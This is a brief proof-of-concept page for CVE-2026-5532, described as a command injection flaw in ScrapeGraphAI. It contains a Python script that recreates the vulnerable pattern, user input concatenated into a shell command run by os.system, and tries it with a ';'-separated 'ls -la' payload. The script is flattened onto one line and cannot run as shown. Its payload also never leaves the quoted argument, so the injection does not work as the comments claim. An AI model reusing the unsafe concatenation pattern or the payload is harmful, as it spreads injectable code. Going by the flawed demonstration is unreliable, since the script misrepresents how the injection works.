CVE-2026-5532 ScrapeGraphAI命令注入漏洞

import os # Proof of Concept for CVE-2026-5532 # This script demonstrates the command injection vulnerability # within the create_sandbox_and_execute function. def vulnerable_create_sandbox(user_code): # Simulating the vulnerable behavior where user input is passed # directly to a system command without proper sanitization. # In the real vulnerability, this might be part of a subprocess call. # Vulnerable pattern: Concatenating user input directly into a shell command command_to_execute = f"python3 -c \"{user_code}\"" print(f"[+] Executing command: {command_to_execute}") # This simulates the OS command execution os.system(command_to_execute) if __name__ == "__main__": # Normal usage print("[*] Testing normal input...") vulnerable_create_sandbox("print('Hello ScrapeGraphAI')") print("\n[*] Testing malicious payload (Command Injection)...") # Malicious payload: Injecting a shell command to list files # Payload uses ';' to separate commands in the shell malicious_payload = "print('pwned'); ls -la; #" vulnerable_create_sandbox(malicious_payload)